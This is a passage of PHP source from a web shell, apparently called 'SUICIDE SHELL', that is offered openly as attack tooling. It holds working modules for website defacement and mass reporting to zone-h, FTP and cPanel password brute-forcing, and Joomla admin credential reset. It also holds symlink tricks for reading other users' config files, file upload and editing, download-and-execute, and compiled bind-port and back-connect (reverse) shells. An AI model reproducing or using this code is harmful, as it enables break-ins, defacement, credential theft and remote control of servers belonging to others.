  4324. echo '<div align="center"><center><img class="HoverBorder" alt="" src="https://media.indiatimes.in/media/content/2016/Sep/man-put-a-gun-to-his-head-shutterstock-800x430_1474351684.jpg";' . $tunisia . '" /></center><form action="" method="post"><input type="hidden" name="form_action" value="1"><br>index url:<input class="inputz" type="text" name="indexadresi" size="30" value="http://site.com/index.html" /><br><br><input class="inputzbut" type="submit" value="Deface" name="Submit"></form> </div>';
  4325. }
  4326. echo '<div align="center">';
  4327. if ($_POST['form_action'] == 1) {
  4328. exec_mode_1($_POST['indexadresi']);
  4329. }
  4330. echo '</div></div></body></html>';
  4331. } elseif (isset($_GET['x']) && ($_GET['x'] == 'zone-h')) {
  4332. $defacer = 'Kaizen';
  4333. $display_details = 0;
  4334. $method = 14;
  4335. $reason = 5;
  4336. error_reporting(0);
  4337. set_time_limit(0);
  4338. if (!function_exists('curl_init')) {
  4339. echo "CURL ERRORn";
  4340. exit;
  4341. }
  4342. $cli = (isset($argv[0])) ? 1 : 0;
  4343. if ($cli == 1) {
  4344. $file = $argv[1];
  4345. $sites = file($file);
  4346. if (!file_exists($file)) {
  4347. echo "<br><br><center><h1>error !</h1></center>n";
  4348. exit;
  4349. }
  4350. } else {
  4351. if (function_exists(apache_setenv)) {
  4352. @apache_setenv('no-gzip', 1);
  4353. }
  4354. @ini_set('zlib.output_compression', 0);
  4355. @ini_set('implicit_flush', 1);
  4356. @ob_implicit_flush(true);
  4357. @ob_end_flush();
  4358. if (isset($_POST['domains'])) {
  4359. $sites = explode("n", $_POST['domains']);
  4360. }
  4361. if (file_exists($_FILES["file"]["tmp_name"])) {
  4362. $file = $_FILES["file"]["tmp_name"];
  4363. $sites = file($file);
  4364. }
  4365. echo <<<EOF
  4366. <div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
  4367. EOF;
  4368. if (!isset($_POST['defacer'])) {
  4369. echo <<<EOF
  4370. <form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value=' Send ' name='submit'></p></td></tr></table></form>
  4371. EOF;
  4372. }
  4373. $defacer = $_POST['defacer'];
  4374. }
  4375. if (!$sites) {
  4376. echo '</pre>';
  4377. exit;
  4378. }
  4379. $sites = array_unique(str_replace('http://', '', $sites));
  4380. $total = count($sites);
  4381. echo "[+] Total unique domain: $totalnn";
  4382. $pause = 10;
  4383. $start = time();
  4384. $main = curl_multi_init();
  4385. for ($m = 0; $m < 3; $m++) {
  4386. $http[] = curl_init();
  4387. }
  4388. for ($n = 0; $n < $total; $n += 30) {
  4389. if ($display_details == 1) {
  4390. for ($x = 0; $x < 30; $x++) {
  4391. echo '[+] Adding ' . rtrim($sites[$n + $x]) . '';
  4392. echo "n";
  4393. }
  4394. }
  4395. $d = $n + 30;
  4396. if ($d > $total) {
  4397. $d = $total;
  4398. }
  4399. echo "=====================>[$d/$total]n";
  4400. for ($w = 0; $w < 3; $w++) {
  4401. $p = $w * 10;
  4402. if (!(isset($sites[$n + $p]))) {
  4403. $pause = $w;
  4404. break;
  4405. }
  4406. $posts[$w] = "defacer=$defacer&domain1=http%3A%2F%2F" . rtrim($sites[$n + $p]) . "&domain2=http%3A%2F%2F" . rtrim($sites[$n + $p + 1]) . "&domain3=http%3A%2F%2F" . rtrim($sites[$n + $p + 2]) . "&domain4=http%3A%2F%2F" . rtrim($sites[$n + $p + 3]) . "&domain5=http%3A%2F%2F" . rtrim($sites[$n + $p + 4]) . "&domain6=http%3A%2F%2F" . rtrim($sites[$n + $p + 5]) . "&domain7=http%3A%2F%2F" . rtrim($sites[$n + $p + 6]) . "&domain8=http%3A%2F%2F" . rtrim($sites[$n + $p + 7]) . "&domain9=http%3A%2F%2F" . rtrim($sites[$n + $p + 8]) . "&domain10=http%3A%2F%2F" . rtrim($sites[$n + $p + 9]) . "&hackmode=" . $method . "&reason=" . $reason . "&submit=Send";
  4407. $curlopt = array(
  4408. CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',
  4409. CURLOPT_RETURNTRANSFER => true,
  4410. CURLOPT_FOLLOWLOCATION => true,
  4411. CURLOPT_ENCODING => true,
  4412. CURLOPT_HEADER => false,
  4413. CURLOPT_HTTPHEADER => array(
  4414. "Keep-Alive: 7"
  4415. ),
  4416. CURLOPT_CONNECTTIMEOUT => 3,
  4417. CURLOPT_URL => 'http://www.zone-h.com/notify/mass',
  4418. CURLOPT_POSTFIELDS => $posts[$w]
  4419. );
  4420. curl_setopt_array($http[$w], $curlopt);
  4421. curl_multi_add_handle($main, $http[$w]);
  4422. }
  4423. $running = null;
  4424. do {
  4425. curl_multi_exec($main, $running);
  4426. } while ($running > 0);
  4427. for ($m = 0; $m < 3; $m++) {
  4428. if ($pause == $m) {
  4429. break;
  4430. }
  4431. curl_multi_remove_handle($main, $http[$m]);
  4432. $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
  4433. if ($code != 200) {
  4434. while (true) {
  4435. echo ' [-]Error!....Retrying';
  4436. echo "n";
  4437. sleep(5);
  4438. curl_exec($http[$m]);
  4439. $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
  4440. if ($code == 200) {
  4441. break 1;
  4442. }
  4443. }
  4444. }
  4445. }
  4446. }
  4447. $end = time() - $start;
  4448. echo 'Done';
  4449. echo "nn[*]Time: $end secondsn";
  4450. curl_multi_close($main);
  4451. if ($cli == 0) {
  4452. echo '</pre></body></html>';
  4453. }
  4454. exit;
  4455. }
  4456. elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
  4457. echo '<br><center><k>WebShell Recoded By Xenzia Worm - Kaizen</k><br><br>SUICIDE SHELL is the result of recode from shell k2ll33d & Sadness Shell, then added some functions to make shell more powerful and userfriendly.<br>
  4458. some functions are taken from the existing shell and the rest is the authors own creation <br> <br> shell is safe and clean from the name Logger even though this script is encoded, the author does not insert Logger in the image or in this PHP script.
  4459. <br><k>Mail:&nbsp;<a href=mailto:[email protected]>Xenzia Worm - Kaizen</a><br><br><a href="https://www.facebook.com/Kaizen1337.gov" target="_blank">Facebook</k></a>&nbsp;</center>';
  4460. }
  4461. elseif (isset($_GET['x']) && ($_GET['x'] == 'brute')) {
  4462. $connect_timeout = 5;
  4463. set_time_limit(0);
  4464. $submit = $_REQUEST['submit'];
  4465. $users = $_REQUEST['users'];
  4466. $pass = $_REQUEST['passwords'];
  4467. $target = $_REQUEST['target'];
  4468. $cracktype = $_REQUEST['cracktype'];
  4469. if ($target == "") {
  4470. $target = "localhost";
  4471. }
  4472. ?><div align="center"><form method="POST" style="border:1px solid #000000"><br><?php
  4473. function ftp_check($host, $user, $pass, $timeout)
  4474. {
  4475. $ch = curl_init();
  4476. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  4477. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4478. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  4479. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  4480. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  4481. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  4482. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  4483. $data = curl_exec($ch);
  4484. if (curl_errno($ch) == 28) {
  4485. print "<b>Connection Timed out</b>";
  4486. exit;
  4487. } elseif (curl_errno($ch) == 0) {
  4488. print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";
  4489. }
  4490. curl_close($ch);
  4491. }
  4492. function cpanel_check($host, $user, $pass, $timeout)
  4493. {
  4494. $ch = curl_init();
  4495. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  4496. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  4497. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  4498. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  4499. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  4500. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  4501. $data = curl_exec($ch);
  4502. if (curl_errno($ch) == 28) {
  4503. print "<b>Connection Timed out</b>";
  4504. exit;
  4505. } elseif (curl_errno($ch) == 0) {
  4506. print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";
  4507. }
  4508. curl_close($ch);
  4509. }
  4510. if (isset($submit) && !empty($submit)) {
  4511. if (empty($users) && empty($pass)) {
  4512. print "<p><b>Error : Check The Users and Password List</b></p>";
  4513. exit;
  4514. }
  4515. if (empty($users)) {
  4516. print "<p><b>Error :Check The Users List</b></p>";
  4517. exit;
  4518. }
  4519. if (empty($pass)) {
  4520. print "<p><b>Error :Check The Password List</b></p>";
  4521. exit;
  4522. }
  4523. ;
  4524. $userlist = explode("n", $users);
  4525. $passlist = explode("n", $pass);
  4526. print "<b>[~] Wait ...</b><br><br>";
  4527. foreach ($userlist as $user) {
  4528. $pureuser = trim($user);
  4529. foreach ($passlist as $password) {
  4530. $purepass = trim($password);
  4531. if ($cracktype == "ftp") {
  4532. ftp_check($target, $pureuser, $purepass, $connect_timeout);
  4533. }
  4534. if ($cracktype == "cpanel") {
  4535. cpanel_check($target, $pureuser, $purepass, $connect_timeout);
  4536. }
  4537. }
  4538. }
  4539. }
  4540. echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
  4541. system('ls /var/mail');
  4542. echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123n123456n1234567n12345678n123456789n159159n112233nadminn332211n1478963npasswordnpasswdn159357n357951n114477npassnPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";
  4543. die();
  4544. } elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
  4545. if (empty($_POST['pwd'])) {
  4546. echo "<center><br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";
  4547. } else {
  4548. $prefix = $_POST['prefix'];
  4549. $localhost = $_POST['localhost'];
  4550. $database = $_POST['database'];
  4551. $username = $_POST['username'];
  4552. $password = $_POST['password'];
  4553. $admin = $_POST['admin'];
  4554. $pd = ($_POST["pwd"]);
  4555. $pwd = md5($pd);
  4556. @mysql_connect($localhost, $username, $password) or die(mysql_error());
  4557. @mysql_select_db($database) or die(mysql_error());
  4558. $SQL = @mysql_query("UPDATE " . $prefix . "users SET username ='" . $admin . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
  4559. $SQL = @mysql_query("UPDATE " . $prefix . "users SET password ='" . $pwd . "' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die(mysql_error());
  4560. if ($SQL)
  4561. echo "<br><br><center><h1>Done... go and login</h1></center>";
  4562. }
  4563. } elseif (isset($_GET['x']) && ($_GET['x'] == 'domains')) {
  4564. echo "<br><br><p align=center>Domains and Users</p>";
  4565. $d0mains = @file("/etc/named.conf");
  4566. if (!$d0mains) {
  4567. die("<center>Error : i can't read [ /etc/named.conf ]</center>");
  4568. }
  4569. echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
  4570. foreach ($d0mains as $d0main) {
  4571. if (eregi("zone", $d0main)) {
  4572. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  4573. flush();
  4574. if (strlen(trim($domains[1][0])) > 2) {
  4575. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
  4576. echo "<tr><td><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td><td>" . $user['name'] . "</td></tr>";
  4577. flush();
  4578. }
  4579. }
  4580. }
  4581. exit();
  4582. }
  4583. elseif (isset($_GET['krypton'])) {
  4584. global $do, $scnya;
  4585. function defacean($scnya){
  4586. $do=$_SERVER['DOCUMENT_ROOT'];
  4587. chdir($do);
  4588. if(function_exists('fopen') && function_exists('fwrite'))
  4589. {
  4590. $script=fopen("index.php", "wb");
  4591. if($script)
  4592. {
  4593. fwrite($script, $scnya);
  4594. echo '<script>alert("Deface Success => index.php");</script>';
  4595. }
  4596. else
  4597. {
  4598. echo '<script>alert("Access Denied")</script>';
  4599. }
  4600. fclose($script);
  4601. }
  4602. }
  4603. ?>
  4604. <br/><br/>
  4605. }
  4606. <center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">Krypton</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php
  4607. $op = $_POST["ope"];
  4608. switch ($op) {
  4609. case 'base64':
  4610. $codi = base64_encode($text);
  4611. break;
  4612. case 'md5':
  4613. $codi = md5($text);
  4614. break;
  4615. case 'whash':
  4616. $codi = crypt($text);
  4617. break;
  4618. case 'SHA1':
  4619. $codi = sha1($text);
  4620. break;
  4621. case 'urlencode':
  4622. $codi = urlencode($text);
  4623. break;
  4624. case 'md4':
  4625. $codi = hash("md4", $text);
  4626. break;
  4627. case 'SHA256':
  4628. $codi = hash("sha256", $text);
  4629. break;
  4630. default:
  4631. break;
  4632. }
  4633. echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center>';
  4634. }
  4635. elseif (isset($_GET['x']) && ($_GET['x'] == 'sym')) {
  4636. @set_time_limit(0);
  4637. @mkdir('sym', 0777);
  4638. error_reporting(0);
  4639. $htaccess = "Options all n DirectoryIndex gaza.html n AddType text/plain .php n AddHandler server-parsed .php n AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
  4640. $op = @fopen('sym/.htaccess', 'w');
  4641. fwrite($op, $htaccess);
  4642. echo '<center><br><br><form method="post"> File Path:<br><input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br><input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></center>';
  4643. $target = $_POST['file'];
  4644. $symfile = $_POST['symfile'];
  4645. $symlink = $_POST['symlink'];
  4646. if ($symlink) {
  4647. @symlink("$target", "sym/$symfile");
  4648. echo '<br><center><a target="_blank" href="sym/' . $symfile . '" >' . $symfile . '</a><center>';
  4649. }
  4650. }
  4651. elseif (isset($_GET['x']) && ($_GET['x'] == 'cmsdet')) {
  4652. echo $bencong . "<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>CMS Detector</b></p>";
  4653. ?>
  4654. <form action="?sad=<?php
  4655. echo $pwd;
  4656. ?>&x=cmsdet" method="post">
  4657. <br><br>
  4658. <?php
  4659. if (!file_exists('ag.tmp')) {
  4660. @fopen('ag.tmp', 'w');
  4661.  
  4662. echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  4663. echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
  4664.  
  4665. $p = 0;
  4666.  
  4667. if (is_readable("/var/named")) {
  4668. $list = scandir("/var/named");
  4669. $current_dir = posix_getcwd();
  4670. $dir = explode("/", $current_dir);
  4671. foreach ($list as $domain) {
  4672. if (strpos($domain, ".db")) {
  4673. $domain = str_replace('.db', '', $domain);
  4674. $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
  4675.  
  4676. error_reporting(0);
  4677.  
  4678. $link = $pageURL . 'pee/' . $owner['name'];
  4679.  
  4680. cms_add($link, $domain, $owner['name'], "WordPress");
  4681. cms_add($link, $domain, $owner['name'], "Joomla");
  4682. cms_add($link, $domain, $owner['name'], "vBulletin");
  4683. cms_add($link, $domain, $owner['name'], "WHMCS");
  4684. cms_add($link, $domain, $owner['name'], "PhpBB");
  4685. cms_add($link, $domain, $owner['name'], "MyBB");
  4686. cms_add($link, $domain, $owner['name'], "IPB");
  4687. cms_add($link, $domain, $owner['name'], "SMF");
  4688. cms_add($link, $domain, $owner['name'], "Drupal");
  4689. cms_add($link, $domain, $owner['name'], "e107");
  4690. cms_add($link, $domain, $owner['name'], "Seditio");
  4691. cms_add($link, $domain, $owner['name'], "osCommerce");
  4692.  
  4693. }
  4694. }
  4695. }
  4696. } else {
  4697. echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
  4698. echo '<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
  4699. $content = file_get_contents($pageURL . 'ag.tmp');
  4700. echo $content;
  4701. }
  4702. }
  4703.  
  4704. elseif (isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
  4705. @ob_start();
  4706. @eval("phpinfo();");
  4707. $buff = @ob_get_contents();
  4708. @ob_end_clean();
  4709. $awal = strpos($buff, "<body>") + 6;
  4710. $akhir = strpos($buff, "</body>");
  4711. echo "<div class='phpinfo'>" . substr($buff, $awal, $akhir - $awal) . "</div>";
  4712. } elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
  4713. if (is_file($_GET['view'])) {
  4714. if (!isset($file))
  4715. $file = magicboom($_GET['view']);
  4716. if (!$win && $posix) {
  4717. $name = @posix_getpwuid(@fileowner($file));
  4718. $group = @posix_getgrgid(@filegroup($file));
  4719. $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
  4720. } else {
  4721. $owner = $user;
  4722. }
  4723. $filn = basename($file);
  4724. echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?sad=" . $pwd . "&amp;view=$file' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href='?sad=$pwd&amp;edit=$file'>edit</a> | <a href="javascript:tukar("" . clearspace($filn) . "_link','" . clearspace($filn) . "_form");">rename</a> | <a href='?sad=$pwd&amp;delete=$file'>delete</a> | <a href='?sad=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?sad=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?sad=" . $pwd . "&amp;view=" . $file . "'>text</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=code'>code</a> | <a href='?sad=" . $pwd . "&amp;view=" . $file . "&amp;type=image'>image</a></td></tr></table>";
  4725. if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
  4726. echo "<div style='text-align:center;margin:8px;'><img src='?sad=" . $pwd . "&amp;img=" . $filn . "'></div>";
  4727. } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
  4728. echo "<div class='viewfile'>";
  4729. $file = wordwrap(@file_get_contents($file), "240", "n");
  4730. @highlight_string($file);
  4731. echo "</div>";
  4732. } else {
  4733. echo "<div class='viewfile'>";
  4734. echo nl2br(htmlentities((@file_get_contents($file))));
  4735. echo "</div>";
  4736. }
  4737. } elseif (is_dir($_GET['view'])) {
  4738. echo showdir($pwd, $prompt);
  4739. }
  4740. } elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
  4741. if (isset($_POST['save'])) {
  4742. $file = $_POST['saveas'];
  4743. $content = magicboom($_POST['content']);
  4744. if ($filez = @fopen($file, "w")) {
  4745. $time = date("d-M-Y H:i", time());
  4746. if (@fwrite($filez, $content))
  4747. $msg = "file saved <span class='gaya'>@</span> " . $time;
  4748. else
  4749. $msg = "failed to save";
  4750. @fclose($filez);
  4751. } else
  4752. $msg = "permission denied";
  4753. }
  4754. if (!isset($file))
  4755. $file = $_GET['edit'];
  4756. if ($filez = @fopen($file, "r")) {
  4757. $content = "";
  4758. while (!feof($filez)) {
  4759. $content .= htmlentities(str_replace("''", "'", fgets($filez)));
  4760. }
  4761. @fclose($filez);
  4762. }
  4763. ?><form action="?sad=<?php
  4764. echo $pwd;
  4765. ?>&amp;edit=<?php
  4766. echo $file;
  4767. ?>" method="post"> <table class="cmdbox"> <tr><td colspan="2">
  4768. <textarea class="output" name="content">
  4769. <?php
  4770. echo $content;
  4771. ?></textarea> <tr>
  4772. <td colspan="2">Save as <input onMouseOver="this.focus()" id="cmd" class="inputz" type="text" name="saveas" style="width:60%" value="<?php
  4773. echo $file;
  4774. ?>" />
  4775. <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%" />
  4776. &nbsp;<?php
  4777. echo $msg;
  4778. ?></td></tr></table></form> <?php
  4779. } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
  4780. if (isset($_POST['uploadcomp'])) {
  4781. if (is_uploaded_file($_FILES['file']['tmp_name'])) {
  4782. $path = magicboom($_POST['path']);
  4783. $fname = $_FILES['file']['name'];
  4784. $tmp_name = $_FILES['file']['tmp_name'];
  4785. $pindah = $path . $fname;
  4786. $stat = @move_uploaded_file($tmp_name, $pindah);
  4787. if ($stat) {
  4788. $msg = "file uploaded to $pindah";
  4789. } else
  4790. $msg = "failed to upload $fname";
  4791. } else
  4792. $msg = "failed to upload $fname";
  4793. } elseif (isset($_POST['uploadurl'])) {
  4794. $pilihan = trim($_POST['pilihan']);
  4795. $wurl = trim($_POST['wurl']);
  4796. $path = magicboom($_POST['path']);
  4797. $namafile = download($pilihan, $wurl);
  4798. $pindah = $path . $namafile;
  4799. if (is_file($pindah)) {
  4800. $msg = "file uploaded to $pindah";
  4801. } else
  4802. $msg = "failed to upload $namafile";
  4803. }
  4804. ?>
  4805. <form action="?sad=<?php
  4806. echo $pwd;
  4807. ?>&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
  4808. <table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center"><input style="color:#000000" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%" name="path" value="<?php
  4809. echo $pwd;
  4810. ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0" actions="?sad=<?php
  4811. echo $pwd;
  4812. ?>&amp;x=upload"> <table><tr><td>link</td>
  4813. <td><input class="inputz" type="text" name="wurl" style="width:250px" value="http://site/file.*"></td></tr> <tr><td colspan="2">
  4814. <input type="text" class="inputz" style="width:99%" name="path" value="<?php
  4815. echo $pwd;
  4816. ?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px"><?php
  4817. echo $msg;
  4818. ?></div>
  4819. <?php
  4820. } elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
  4821. if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
  4822. $port = trim($_POST['port']);
  4823. $passwrd = trim($_POST['bind_pass']);
  4824. tulis("bdc.c", $port_bind_bd_c);
  4825. exe("gcc -o bdc bdc.c");
  4826. exe("chmod 777 bdc");
  4827. @unlink("bdc.c");
  4828. exe("./bdc " . $port . " " . $passwrd . " &");
  4829. $scan = exe("ps aux");
  4830. if (eregi("./bdc $por", $scan)) {
  4831. $msg = "<p>Process successed</p>";
  4832. } else {
  4833. $msg = "<p>Process Failed</p>";
  4834. }
  4835. } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
  4836. $port = trim($_POST['port']);
  4837. $passwrd = trim($_POST['bind_pass']);
  4838. tulis("bdp", $port_bind_bd_pl);
  4839. exe("chmod 777 bdp");
  4840. $p2 = which("perl");
  4841. exe($p2 . " bdp " . $port . " &");
  4842. $scan = exe("ps aux");
  4843. if (eregi("$p2 bdp $port", $scan)) {
  4844. $msg = "<p>Process successed</p>";
  4845. } else {
  4846. $msg = "<p>Process Failed</p>";
  4847. }
  4848. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
  4849. $ip = trim($_POST['ip']);
  4850. $port = trim($_POST['backport']);
  4851. tulis("bcc.c", $back_connect_c);
  4852. exe("gcc -o bcc bcc.c");
  4853. exe("chmod 777 bcc");
  4854. @unlink("bcc.c");
  4855. exe("./bcc " . $ip . " " . $port . " &");
  4856. $msg = "trying to connect to " . $ip . " on port " . $port . " ...";
  4857. } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
  4858. $ip = trim($_POST['ip']);
  4859. $port = trim($_POST['backport']);
  4860. tulis("bcp", $back_connect);
  4861. exe("chmod +x bcp");
  4862. $p2 = which("perl");
  4863. exe($p2 . " bcp " . $ip . " " . $port . " &");
  4864. $msg = "Trying to connect to " . $ip . " on port " . $port . " ...";
  4865. } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
  4866. $pilihan = trim($_POST['pilihan']);
  4867. $wurl = trim($_POST['wurl']);
  4868. $namafile = download($pilihan, $wurl);
  4869. if (is_file($namafile)) {
  4870. $msg = exe($wcmd);
  4871. } else
  4872. $msg = "error: file not found $namafile";
  4873. }
  4874. ?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?sad=<?php
  4875. echo $pwd;
  4876. ?>&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php
  4877. echo $bindport;
  4878. ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php
  4879. echo $bindport_pass;
  4880. ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?sad=<?php
  4881. echo $pwd;
  4882. ?>&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php
  4883. echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));
  4884. ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php
  4885. echo $bindport;
  4886. ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?sad=<?php
  4887. echo $pwd;
